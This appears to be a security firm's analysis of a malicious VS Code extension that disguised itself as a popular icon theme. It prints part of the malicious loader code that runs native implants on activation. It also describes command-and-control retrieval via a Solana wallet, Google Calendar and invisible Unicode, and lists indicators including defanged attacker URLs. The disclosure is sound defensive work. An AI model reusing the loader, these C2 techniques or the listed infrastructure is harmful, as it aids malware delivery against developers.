

Analysis of the Rust implants found in the malicious VS Code extension

 nexttron-systems.com/2025/11/29/analysis-of-the-rust-implants-found-in-the-malicious-vs-code-extension

Nexttron Threat Research Team

November 29, 2025

Yesterday we [published a short write-up](#) about the malicious VS Code extension posing as “Material Icon Theme”. That post covered the discovery, the extension’s release timeline, and the fact that version 5.29.1 shipped with two Rust implants. This follow-up focuses on what these implants actually do. The analysis below is based on Marius’ initial deep dive into the Windows and macOS binaries.

The Rust implants [1,2] are executed as soon as the VS Code extension is activated. The loader is the extension.js file [3] located next to the implants in dist/extension/desktop/.

The attackers placed the implants and the loader in that directory on purpose, because the legitimate “Material Icon Theme” extension uses a similar structure (dist/extension/desktop/extension.js). The malicious version mimics that layout to make the added files look inconspicuous.

On Windows, the extension calls the os.node DLL. On macOS, it calls the darwin.node dylib.

```

17     process.execPath,
18     __dirname
19 )
20
21 }
22 if (p == 'darwin') {
23     const darwin = require('./darwin.node');
24     darwin.run(
25         p,
26         process.execPath,
27         __dirname
28     )
29
30 }
31 };
32 if (!activationState) {
33     context.globalState.update(
34         activationKey,
35         JSON.stringify({
36             firstActivated: currentTime,
37             lastActivated: currentTime,
38             initialized: true,
39         })
40     );
41
42     // ...

```

Both implants fetch their C2 instructions from a Solana blockchain wallet address [4]. This is the same technique used in the GlassWorm samples already described by Koi Security.

Once the implant retrieves the instruction data from the Solana chain, it base64-decodes the content and downloads the next-stage payload from the C2 [5].

Similar to GlassWorm, the C2 responds with a large base64 blob that turns out to be an AES-256-CBC encrypted JavaScript file [6].

The implant can fetch the next stage from the same C2 [7] or, as a fallback, from a Google Calendar event [8].

In this campaign, the attackers used invisible Unicode characters in the Google Calendar event title to hide the fallback C2 address [9].

We will share more information about the next-stage payloads next week.

References

[1] 6ebef188f3cc3b647c4460c0b8e41b75d057747c662f4cd7912d77deaccfd2f2 os.node (Windows DLL)
[2] fb07743d139f72fca4616b01308f1f705f02fda72988027bc68e9316655eadda darwin.node (MacOS Dynlib)
[3] 9212a99a7730b9ee306e804af358955c3104e5afce23f7d5a207374482ab2f8f extension.js
[4] BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC Solana wallet address
[5] hxxp://217[.]69.11.60/uVK7ZJefmiloJkIP6lxWXw==
[6] c32379e4567a926aa0d35d8123718e2ebef15544a83a5b1da0269db5829d5ece decrypted JavaScript file from C2
[7] hxxp://217[.]69.11.60/get_arhive_npm/karMkkT87qcSSRoaHL1zYQ==
[8] https://calendar.google.com/calendar/share?slt=1AXs0gW2Chlx550BJk0lEThoZf3_QvWIH_3UnB8o6GmkFhmRz2tKPa6Vqjn9sGOVi4_9apgcG27TRSQ
[9] hxxp://217[.]69.11.60/get_zombi_payload/uVK7ZJefmiloJkIP6lxWXw%3D%3D

[A] <https://www.koi.ai/blog/glassworm-first-self-propagating-worm-using-invisible-code-hits-openvsx-marketplace>

Authors

[Mohamed Ashraf](#)

[Marius Benthin](#)